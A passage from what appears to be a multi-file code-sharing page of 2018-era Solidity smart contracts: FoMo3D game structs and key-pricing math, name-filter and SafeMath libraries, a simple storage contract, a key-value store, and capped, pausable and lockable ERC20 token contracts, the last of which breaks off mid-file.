| // 3-5 - air drop tracker (uint 0-999) | |
| // 6-16 - round end time | |
| // 17 - winnerTeam | |
| // 18 - 28 timestamp | |
| // 29 - team | |
| // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) | |
| // 31 - airdrop happened bool | |
| // 32 - airdrop tier | |
| // 33 - airdrop amount won | |
| //compressedIDs key | |
| // [77-52][51-26][25-0] | |
| // 0-25 - pID | |
| // 26-51 - winPID | |
| // 52-77 - rID | |
| struct EventReturns { | |
| uint256 compressedData; | |
| uint256 compressedIDs; | |
| address winnerAddr; // winner address | |
| bytes32 winnerName; // winner name | |
| uint256 amountWon; // amount won | |
| uint256 newPot; // amount in new pot | |
| uint256 P3DAmount; // amount distributed to p3d | |
| uint256 genAmount; // amount distributed to gen | |
| uint256 potAmount; // amount added to pot | |
| } | |
| struct Player { | |
| address addr; // player address | |
| bytes32 name; // player name | |
| uint256 win; // winnings vault | |
| uint256 gen; // general vault | |
| uint256 aff; // affiliate vault | |
| uint256 lrnd; // last round played | |
| uint256 laff; // last affiliate id used | |
| } | |
| struct PlayerRounds { | |
| uint256 eth; // eth player has added to round (used for eth limiter) | |
| uint256 keys; // keys | |
| uint256 mask; // player mask | |
| uint256 ico; // ICO phase investment | |
| } | |
| struct Round { | |
| uint256 plyr; // pID of player in lead | |
| uint256 team; // tID of team in lead | |
| uint256 end; // time ends/ended | |
| bool ended; // has round end function been ran | |
| uint256 strt; // time round started | |
| uint256 keys; // keys | |
| uint256 eth; // total eth in | |
| uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) | |
| uint256 mask; // global mask | |
| uint256 ico; // total eth sent in during ICO phase | |
| uint256 icoGen; // total eth for gen during ICO phase | |
| uint256 icoAvg; // average key price for ICO phase | |
| } | |
| struct TeamFee { | |
| uint256 gen; // % of buy in thats paid to key holders of current round | |
| uint256 p3d; // % of buy in thats paid to p3d holders | |
| } | |
| struct PotSplit { | |
| uint256 gen; // % of pot thats paid to key holders of current round | |
| uint256 p3d; // % of pot thats paid to p3d holders | |
| } | |
| } | |
| //============================================================================== | |
| // | _ _ _ | _ . | |
| // |<(/_\/ (_(_||(_ . | |
| //=======/====================================================================== | |
| library F3DKeysCalcLong { | |
| using SafeMath for *; | |
| /** | |
| * @dev calculates number of keys received given X eth | |
| * @param _curEth current amount of eth in contract | |
| * @param _newEth eth being spent | |
| * @return amount of ticket purchased | |
| */ | |
| function keysRec(uint256 _curEth, uint256 _newEth) | |
| internal | |
| pure | |
| returns (uint256) | |
| { | |
| return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); | |
| } | |
| /** | |
| * @dev calculates amount of eth received if you sold X keys | |
| * @param _curKeys current amount of keys that exist | |
| * @param _sellKeys amount of keys you wish to sell | |
| * @return amount of eth received | |
| */ | |
| function ethRec(uint256 _curKeys, uint256 _sellKeys) | |
| internal | |
| pure | |
| returns (uint256) | |
| { | |
| return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); | |
| } | |
| /** | |
| * @dev calculates how many keys would exist with given an amount of eth | |
| * @param _eth eth "in contract" | |
| * @return number of keys that would exist | |
| */ | |
| function keys(uint256 _eth) | |
| internal | |
| pure | |
| returns(uint256) | |
| { | |
| return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); | |
| } | |
| /** | |
| * @dev calculates how much eth would be in contract given a number of keys | |
| * @param _keys number of keys "in contract" | |
| * @return eth that would exists | |
| */ | |
| function eth(uint256 _keys) | |
| internal | |
| pure | |
| returns(uint256) | |
| { | |
| return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); | |
| } | |
| } | |
| //============================================================================== | |
| // . _ _|_ _ _ |` _ _ _ _ . | |
| // || | | (/_| ~|~(_|(_(/__\ . | |
| //============================================================================== | |
| interface otherFoMo3D { | |
| function potSwap() external payable; | |
| } | |
| interface F3DexternalSettingsInterface { | |
| function getFastGap() external returns(uint256); | |
| function getLongGap() external returns(uint256); | |
| function getFastExtra() external returns(uint256); | |
| function getLongExtra() external returns(uint256); | |
| } | |
| interface DiviesInterface { | |
| function deposit() external payable; | |
| } | |
| interface JIincForwarderInterface { | |
| function deposit() external payable returns(bool); | |
| function status() external view returns(address, address, bool); | |
| function startMigration(address _newCorpBank) external returns(bool); | |
| function cancelMigration() external returns(bool); | |
| function finishMigration() external returns(bool); | |
| function setup(address _firstCorpBank) external; | |
| } | |
| interface PlayerBookInterface { | |
| function getPlayerID(address _addr) external returns (uint256); | |
| function getPlayerName(uint256 _pID) external view returns (bytes32); | |
| function getPlayerLAff(uint256 _pID) external view returns (uint256); | |
| function getPlayerAddr(uint256 _pID) external view returns (address); | |
| function getNameFee() external view returns (uint256); | |
| function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); | |
| function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); | |
| function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); | |
| } | |
| /** | |
| * @title -Name Filter- v0.1.9 | |
| * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ | |
| * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ | |
| * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ | |
| * _____ _____ | |
| * (, / /) /) /) (, / /) /) | |
| * ┌─┐ / _ (/_ // // / _ // _ __ _(/ | |
| * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ | |
| * ┴ ┴ / / .-/ _____ (__ / | |
| * (__ / (_/ (, / /)™ | |
| * / __ __ __ __ _ __ __ _ _/_ _ _(/ | |
| * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ | |
| * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 | |
| * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ | |
| * _ __ _ ____ ____ _ _ _____ ____ ___ | |
| *=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============* | |
| *=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============* | |
| * | |
| * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ | |
| * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ | |
| * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ | |
| */ | |
| library NameFilter { | |
| /** | |
| * @dev filters name strings | |
| * -converts uppercase to lower case. | |
| * -makes sure it does not start/end with a space | |
| * -makes sure it does not contain multiple spaces in a row | |
| * -cannot be only numbers | |
| * -cannot start with 0x | |
| * -restricts characters to A-Z, a-z, 0-9, and space. | |
| * @return reprocessed string in bytes32 format | |
| */ | |
| function nameFilter(string _input) | |
| internal | |
| pure | |
| returns(bytes32) | |
| { | |
| bytes memory _temp = bytes(_input); | |
| uint256 _length = _temp.length; | |
| //sorry limited to 32 characters | |
| require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); | |
| // make sure it doesnt start with or end with space | |
| require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); | |
| // make sure first two characters are not 0x | |
| if (_temp[0] == 0x30) | |
| { | |
| require(_temp[1] != 0x78, "string cannot start with 0x"); | |
| require(_temp[1] != 0x58, "string cannot start with 0X"); | |
| } | |
| // create a bool to track if we have a non number character | |
| bool _hasNonNumber; | |
| // convert & check | |
| for (uint256 i = 0; i < _length; i++) | |
| { | |
| // if its uppercase A-Z | |
| if (_temp[i] > 0x40 && _temp[i] < 0x5b) | |
| { | |
| // convert to lower case a-z | |
| _temp[i] = byte(uint(_temp[i]) + 32); | |
| // we have a non number | |
| if (_hasNonNumber == false) | |
| _hasNonNumber = true; | |
| } else { | |
| require | |
| ( | |
| // require character is a space | |
| _temp[i] == 0x20 || | |
| // OR lowercase a-z | |
| (_temp[i] > 0x60 && _temp[i] < 0x7b) || | |
| // or 0-9 | |
| (_temp[i] > 0x2f && _temp[i] < 0x3a), | |
| "string contains invalid characters" | |
| ); | |
| // make sure theres not 2x spaces in a row | |
| if (_temp[i] == 0x20) | |
| require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); | |
| // see if we have a character other than a number | |
| if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) | |
| _hasNonNumber = true; | |
| } | |
| } | |
| require(_hasNonNumber == true, "string cannot be only numbers"); | |
| bytes32 _ret; | |
| assembly { | |
| _ret := mload(add(_temp, 32)) | |
| } | |
| return (_ret); | |
| } | |
| } | |
| /** | |
| * @title SafeMath v0.1.9 | |
| * @dev Math operations with safety checks that throw on error | |
| * change notes: original SafeMath library from OpenZeppelin modified by Inventor | |
| * - added sqrt | |
| * - added sq | |
| * - added pwr | |
| * - changed asserts to requires with error log outputs | |
| * - removed div, its useless | |
| */ | |
| library SafeMath { | |
| /** | |
| * @dev Multiplies two numbers, throws on overflow. | |
| */ | |
| function mul(uint256 a, uint256 b) | |
| internal | |
| pure | |
| returns (uint256 c) | |
| { | |
| if (a == 0) { | |
| return 0; | |
| } | |
| c = a * b; | |
| require(c / a == b, "SafeMath mul failed"); | |
| return c; | |
| } | |
| /** | |
| * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). | |
| */ | |
| function sub(uint256 a, uint256 b) | |
| internal | |
| pure | |
| returns (uint256) | |
| { | |
| require(b <= a, "SafeMath sub failed"); | |
| return a - b; | |
| } | |
| /** | |
| * @dev Adds two numbers, throws on overflow. | |
| */ | |
| function add(uint256 a, uint256 b) | |
| internal | |
| pure | |
| returns (uint256 c) | |
| { | |
| c = a + b; | |
| require(c >= a, "SafeMath add failed"); | |
| return c; | |
| } | |
| /** | |
| * @dev gives square root of given x. | |
| */ | |
| function sqrt(uint256 x) | |
| internal | |
| pure | |
| returns (uint256 y) | |
| { | |
| uint256 z = ((add(x,1)) / 2); | |
| y = x; | |
| while (z < y) | |
| { | |
| y = z; | |
| z = ((add((x / z),z)) / 2); | |
| } | |
| } | |
| /** | |
| * @dev gives square. multiplies x by x | |
| */ | |
| function sq(uint256 x) | |
| internal | |
| pure | |
| returns (uint256) | |
| { | |
| return (mul(x,x)); | |
| } | |
| /** | |
| * @dev x to the power of y | |
| */ | |
| function pwr(uint256 x, uint256 y) | |
| internal | |
| pure | |
| returns (uint256) | |
| { | |
| if (x==0) | |
| return (0); | |
| else if (y==0) | |
| return (1); | |
| else | |
| { | |
| uint256 z = x; | |
| for (uint256 i=1; i < y; i++) | |
| z = mul(z,x); | |
| return (z); | |
| } | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.0; | |
| // simple store example | |
| contract simpleStorage{ | |
| uint valueStore; // | |
| function add(uint x, uint y) returns (uint z){ | |
| z = x + y; | |
| } | |
| function divide() returns (uint z){ | |
| uint x = 1; | |
| uint y = 2; | |
| z = x / y; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity 0.4.24; | |
| contract KeyValueStorage { | |
| mapping(address => mapping(bytes32 => uint256)) _uintStorage; | |
| mapping(address => mapping(bytes32 => address)) _addressStorage; | |
| mapping(address => mapping(bytes32 => bool)) _boolStorage; | |
| mapping(address => bool) _accessAllowed; | |
| address public _owner; | |
| constructor() public { | |
| _owner = msg.sender; | |
| _accessAllowed[msg.sender] = true; | |
| } | |
| modifier platform() { | |
| require(_accessAllowed[msg.sender] == true); | |
| _; | |
| } | |
| modifier onlyOwner() { | |
| require(msg.sender == _owner); | |
| _; | |
| } | |
| function allowAccess(address _addr) onlyOwner public { | |
| _accessAllowed[_addr] = true; | |
| } | |
| function denyAccess(address _addr) onlyOwner public { | |
| _accessAllowed[_addr] = false; | |
| } | |
| /**** Get Methods ***********/ | |
| function getAddress(bytes32 key) public view returns (address) { | |
| return _addressStorage[msg.sender][key]; | |
| } | |
| function getUint(bytes32 key) public view returns (uint) { | |
| return _uintStorage[msg.sender][key]; | |
| } | |
| function getBool(bytes32 key) public view returns (bool) { | |
| return _boolStorage[msg.sender][key]; | |
| } | |
| /**** Set Methods ***********/ | |
| function setAddress(bytes32 key, address value) platform public { | |
| _addressStorage[msg.sender][key] = value; | |
| } | |
| function setUint(bytes32 key, uint value) platform public { | |
| _uintStorage[msg.sender][key] = value; | |
| } | |
| function setBool(bytes32 key, bool value) platform public { | |
| _boolStorage[msg.sender][key] = value; | |
| } | |
| /**** Delete Methods ***********/ | |
| function deleteAddress(bytes32 key) platform public { | |
| delete _addressStorage[msg.sender][key]; | |
| } | |
| function deleteUint(bytes32 key) platform public { | |
| delete _uintStorage[msg.sender][key]; | |
| } | |
| function deleteBool(bytes32 key) platform public { | |
| delete _boolStorage[msg.sender][key]; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.24; | |
| /** | |
| * @title Ownable | |
| * @dev The Ownable contract has an owner address, and provides basic authorization control | |
| * functions, this simplifies the implementation of user permissions. | |
| */ | |
| contract Ownable { | |
| address public owner; | |
| event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); | |
| /** | |
| * @dev The Ownable constructor sets the original `owner` of the contract to the sender | |
| * account. | |
| */ | |
| constructor() public { | |
| owner = msg.sender; | |
| } | |
| /** | |
| * @dev Throws if called by any account other than the owner. | |
| */ | |
| modifier onlyOwner() { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| /** | |
| * @dev Allows the current owner to transfer control of the contract to a newOwner. | |
| * @param newOwner The address to transfer ownership to. | |
| */ | |
| function transferOwnership(address newOwner) public onlyOwner { | |
| require(newOwner != address(0)); | |
| emit OwnershipTransferred(owner, newOwner); | |
| owner = newOwner; | |
| } | |
| } | |
| /** | |
| * @title SafeMath | |
| * @dev Math operations with safety checks that throw on error | |
| */ | |
| library SafeMath { | |
| function mul(uint256 a, uint256 b) internal pure returns (uint256) { | |
| if (a == 0) { | |
| return 0; | |
| } | |
| uint256 c = a * b; | |
| assert(c / a == b); | |
| return c; | |
| } | |
| function div(uint256 a, uint256 b) internal pure returns (uint256) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| uint256 c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return c; | |
| } | |
| function sub(uint256 a, uint256 b) internal pure returns (uint256) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| function add(uint256 a, uint256 b) internal pure returns (uint256) { | |
| uint256 c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| } | |
| /** | |
| * @title ERC20Basic | |
| * @dev Simpler version of ERC20 interface | |
| * @dev see https://github.com/ethereum/EIPs/issues/179 | |
| */ | |
| contract ERC20Basic { | |
| uint256 public totalSupply; | |
| function balanceOf(address who) public returns (uint256); | |
| function transfer(address to, uint256 value) public returns (bool); | |
| event Transfer(address indexed from, address indexed to, uint256 value); | |
| } | |
| /** | |
| * @title Basic token | |
| * @dev Basic version of StandardToken, with no allowances. | |
| */ | |
| contract BasicToken is ERC20Basic { | |
| using SafeMath for uint256; | |
| mapping(address => uint256) balances; | |
| /** | |
| * @dev transfer token for a specified address | |
| * @param _to The address to transfer to. | |
| * @param _value The amount to be transferred. | |
| */ | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| require(_to != address(0)); | |
| require(_value <= balances[msg.sender]); | |
| // SafeMath.sub will throw if there is not enough balance. | |
| balances[msg.sender] = balances[msg.sender].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| emit Transfer(msg.sender, _to, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Gets the balance of the specified address. | |
| * @param _owner The address to query the the balance of. | |
| * @return An uint256 representing the amount owned by the passed address. | |
| */ | |
| function balanceOf(address _owner) public returns (uint256 balance) { | |
| return balances[_owner]; | |
| } | |
| } | |
| /** | |
| * @title ERC20 interface | |
| * @dev see https://github.com/ethereum/EIPs/issues/20 | |
| */ | |
| contract ERC20 is ERC20Basic { | |
| function allowance(address owner, address spender) public returns (uint256); | |
| function transferFrom(address from, address to, uint256 value) public returns (bool); | |
| function approve(address spender, uint256 value) public returns (bool); | |
| event Approval(address indexed owner, address indexed spender, uint256 value); | |
| } | |
| /** | |
| * @title Standard ERC20 token | |
| * | |
| * @dev Implementation of the basic standard token. | |
| * @dev https://github.com/ethereum/EIPs/issues/20 | |
| * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol | |
| */ | |
| contract StandardToken is ERC20, BasicToken { | |
| mapping (address => mapping (address => uint256)) internal allowed; | |
| /** | |
| * @dev transfer token for a specified address | |
| * @param _to The address to transfer to. | |
| * @param _value The amount to be transferred. | |
| */ | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| return BasicToken.transfer(_to, _value); | |
| } | |
| /** | |
| * @dev Transfer tokens from one address to another | |
| * @param _from address The address which you want to send tokens from | |
| * @param _to address The address which you want to transfer to | |
| * @param _value uint256 the amount of tokens to be transferred | |
| */ | |
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
| require(_to != address(0)); | |
| require(_value <= balances[_from]); | |
| require(_value <= allowed[_from][msg.sender]); | |
| balances[_from] = balances[_from].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); | |
| emit Transfer(_from, _to, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. | |
| * | |
| * Beware that changing an allowance with this method brings the risk that someone may use both the old | |
| * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this | |
| * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: | |
| * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
| * @param _spender The address which will spend the funds. | |
| * @param _value The amount of tokens to be spent. | |
| */ | |
| function approve(address _spender, uint256 _value) public returns (bool) { | |
| allowed[msg.sender][_spender] = _value; | |
| emit Approval(msg.sender, _spender, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Function to check the amount of tokens that an owner allowed to a spender. | |
| * @param _owner address The address which owns the funds. | |
| * @param _spender address The address which will spend the funds. | |
| * @return A uint256 specifying the amount of tokens still available for the spender. | |
| */ | |
| function allowance(address _owner, address _spender) public returns (uint256) { | |
| return allowed[_owner][_spender]; | |
| } | |
| /** | |
| * approve should be called when allowed[_spender] == 0. To increment | |
| * allowed value is better to use this function to avoid 2 calls (and wait until | |
| * the first transaction is mined) | |
| * From MonolithDAO Token.sol | |
| */ | |
| function increaseApproval(address _spender, uint _addedValue) public returns (bool) { | |
| allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); | |
| emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { | |
| uint oldValue = allowed[msg.sender][_spender]; | |
| if (_subtractedValue > oldValue) { | |
| allowed[msg.sender][_spender] = 0; | |
| } else { | |
| allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); | |
| } | |
| emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| } | |
| /** | |
| * @title Mintable token | |
| * @dev Simple ERC20 Token example, with mintable token creation | |
| * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 | |
| * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol | |
| */ | |
| contract MintableToken is StandardToken, Ownable { | |
| event Mint(address indexed to, uint256 amount); | |
| event MintFinished(); | |
| bool public mintingFinished = false; | |
| modifier canMint() { | |
| require(!mintingFinished); | |
| _; | |
| } | |
| /** | |
| * @dev Function to mint tokens | |
| * @param _to The address that will receive the minted tokens. | |
| * @param _amount The amount of tokens to mint. | |
| * @return A boolean that indicates if the operation was successful. | |
| */ | |
| function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { | |
| totalSupply = totalSupply.add(_amount); | |
| balances[_to] = balances[_to].add(_amount); | |
| emit Mint(_to, _amount); | |
| emit Transfer(address(0), _to, _amount); | |
| return true; | |
| } | |
| /** | |
| * @dev Function to stop minting new tokens. | |
| * @return True if the operation was successful. | |
| */ | |
| function finishMinting() onlyOwner canMint public returns (bool) { | |
| mintingFinished = true; | |
| emit MintFinished(); | |
| return true; | |
| } | |
| } | |
| /** | |
| * @title Capped token | |
| * @dev Mintable token with a token cap. | |
| */ | |
| contract CappedToken is MintableToken { | |
| uint256 public cap; | |
| constructor(uint256 _cap, uint _decimals) public { | |
| require(_cap > 0); | |
| cap = _cap * (10 ** _decimals); | |
| } | |
| /** | |
| * @dev Function to mint tokens | |
| * @param _to The address that will receive the minted tokens. | |
| * @param _amount The amount of tokens to mint. | |
| * @return A boolean that indicates if the operation was successful. | |
| */ | |
| function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { | |
| require(totalSupply.add(_amount) <= cap); | |
| return super.mint(_to, _amount); | |
| } | |
| } | |
| /** | |
| * @title Pausable | |
| * @dev Base contract which allows children to implement an emergency stop mechanism. | |
| */ | |
| contract Pausable is Ownable { | |
| event Pause(); | |
| event Unpause(); | |
| bool public paused = false; | |
| /** | |
| * @dev Modifier to make a function callable only when the contract is not paused. | |
| */ | |
| modifier whenNotPaused() { | |
| require(!paused); | |
| _; | |
| } | |
| /** | |
| * @dev Modifier to make a function callable only when the contract is paused. | |
| */ | |
| modifier whenPaused() { | |
| require(paused); | |
| _; | |
| } | |
| /** | |
| * @dev called by the owner to pause, triggers stopped state | |
| */ | |
| function pause() onlyOwner whenNotPaused public { | |
| paused = true; | |
| emit Pause(); | |
| } | |
| /** | |
| * @dev called by the owner to unpause, returns to normal state | |
| */ | |
| function unpause() onlyOwner whenPaused public { | |
| paused = false; | |
| emit Unpause(); | |
| } | |
| } | |
| /** | |
| * @title Pausable token | |
| * | |
| * @dev StandardToken modified with pausable transfers. | |
| **/ | |
| contract PausableToken is StandardToken, Pausable { | |
| function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.transfer(_to, _value); | |
| } | |
| function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.transferFrom(_from, _to, _value); | |
| } | |
| function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.approve(_spender, _value); | |
| } | |
| function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { | |
| return super.increaseApproval(_spender, _addedValue); | |
| } | |
| function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { | |
| return super.decreaseApproval(_spender, _subtractedValue); | |
| } | |
| } | |
| contract Token is CappedToken, PausableToken { | |
| using SafeMath for uint256; | |
| string public name; | |
| string public symbol; | |
| uint public decimals; | |
| bool public setLockFinished; | |
| struct lockToken { | |
| uint256 amount; | |
| uint256 validity; | |
| } | |
| mapping(address => lockToken[]) public locked; | |
| event Lock( | |
| address indexed _of, | |
| uint256 _amount, | |
| uint256 _validity | |
| ); | |
| function () payable public { | |
| revert(); | |
| } | |
| constructor (string _symbol, string _name, uint _decimals, uint256 _initSupply, uint256 _capSupply) CappedToken(_capSupply, _decimals) public { | |
| name = _name; | |
| symbol = _symbol; | |
| decimals = _decimals; | |
| totalSupply = totalSupply.add(_initSupply * (10 ** decimals)); | |
| balances[msg.sender] = totalSupply; | |
| } | |
| function lock(address _address, uint256[] _time, uint256[] _amount ) onlyOwner public returns(bool) { | |
| require(!setLockFinished); | |
| require(_time.length == _amount.length); | |
| if(locked[_address].length != 0) { | |
| locked[_address].length = 0; | |
| } | |
| uint256 len = _time.length; | |
| uint256 totalAmount = 0; | |
| for(uint256 i = 0; i<len; i++) { | |
| totalAmount = totalAmount.add(_amount[i]); | |
| } | |
| require(balances[_address] >= totalAmount); | |
| for(i=0; i<len; i++) { | |
| locked[_address].push(lockToken(_amount[i], block.timestamp.add(_time[i]))); | |
| emit Lock(_address, _amount[i], block.timestamp.add(_time[i])); | |
| } | |
| return true; | |
| } | |
| function finishLock() onlyOwner public { | |
| setLockFinished = true; | |
| } | |
| /** | |
| * @dev Returns tokens locked for a specified address for a | |
| * specified purpose at a specified time | |
| * | |
| * @param _of The address whose tokens are locked | |
| * @param _time The timestamp to query the lock tokens for | |
| */ | |
| function tokensLocked(address _of, uint256 _time) | |
| public | |
| view | |
| returns (uint256 amount) | |
| { | |
| for(uint256 i=0;i<locked[_of].length;i++) | |
| { | |
| if(locked[_of][i].validity>_time) | |
| amount+=locked[_of][i].amount; | |
| } | |
| } | |
| /** | |
| * @dev Returns tokens available for transfer for a specified address | |
| * @param _of The address to query the the lock tokens of | |
| */ | |
| function transferableBalanceOf(address _of) | |
| public | |
| view | |
| returns (uint256 amount) | |
| { | |
| uint256 lockedAmount = 0; | |
| lockedAmount += tokensLocked(_of, block.timestamp); | |
| amount = balances[_of].sub(lockedAmount); | |
| } | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| require(_value <= transferableBalanceOf(msg.sender)); | |
| return super.transfer(_to, _value); | |
| } | |
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
| require(_value <= transferableBalanceOf(_from)); | |
| return super.transferFrom(_from, _to, _value); | |
| } | |
| function withdraw(address _to, uint256 _amount) onlyOwner public returns(bool) { | |
| require(balances[address(this)] > _amount); | |
| balances[address(this)] = balances[address(this)].sub(_amount); | |
| balances[_to] = balances[_to].add(_amount); | |
| return true; | |
| } | |
| } | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.18; | |
| // ---------------------------------------------------------------------------- | |
| // Symbol : nmt | |
| // Name : nmt | |
| // Total supply: 580000000.000000 | |
| // Decimals : 6 | |
| // ---------------------------------------------------------------------------- | |
| // ---------------------------------------------------------------------------- | |
| // Safe maths | |
| // ---------------------------------------------------------------------------- | |
| library SafeMath { | |
| function add(uint a, uint b) internal pure returns (uint c) { | |
| c = a + b; | |
| require(c >= a); | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint c) { | |
| require(b <= a); | |
| c = a - b; | |
| } | |
| function mul(uint a, uint b) internal pure returns (uint c) { | |
| c = a * b; | |
| require(a == 0 || c / a == b); | |
| } | |
| function div(uint a, uint b) internal pure returns (uint c) { | |
| require(b > 0); | |
| c = a / b; | |
| } | |
| } | |
| contract ERC20Interface { | |
| function totalSupply() public constant returns (uint); | |
| function balanceOf(address tokenOwner) public constant returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public constant returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract ApproveAndCallFallBack { | |
| function receiveApproval(address from, uint256 tokens, address token, bytes data) public; | |
| } | |
| // ---------------------------------------------------------------------------- | |
| // Owned contract | |
| // ---------------------------------------------------------------------------- | |
| contract Owned { | |
| address public owner; | |
| address public newOwner; | |
| event OwnershipTransferred(address indexed _from, address indexed _to); | |
| function Owned() public { | |
| owner = msg.sender; | |
| } | |
| modifier onlyOwner { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| function transferOwnership(address _newOwner) public onlyOwner { | |
| newOwner = _newOwner; | |
| } | |
| function acceptOwnership() public { | |
| require(msg.sender == newOwner); | |
| OwnershipTransferred(owner, newOwner); | |
| owner = newOwner; | |
| newOwner = address(0); | |
| } | |
| } | |
| contract Token is ERC20Interface, Owned { | |
| using SafeMath for uint; | |
| string public symbol; | |
| string public name; | |
| uint8 public decimals; | |
| uint public _totalSupply; | |
| mapping(address => uint) balances; | |
| mapping(address => mapping(address => uint)) allowed; | |
| function Token() public { | |
| symbol = "nmt"; | |
| name = "nmt"; | |
| decimals = 6; | |
| _totalSupply = 580000000 * 10**uint(decimals); | |
| balances[owner] = _totalSupply; | |
| Transfer(address(0), owner, _totalSupply); | |
| } | |
| function totalSupply() public constant returns (uint) { | |
| return _totalSupply - balances[address(0)]; | |
| } | |
| function balanceOf(address tokenOwner) public constant returns (uint balance) { | |
| return balances[tokenOwner]; | |
| } | |
| function transfer(address to, uint tokens) public returns (bool success) { | |
| balances[msg.sender] = balances[msg.sender].sub(tokens); | |
| balances[to] = balances[to].add(tokens); | |
| Transfer(msg.sender, to, tokens); | |
| return true; | |
| } | |
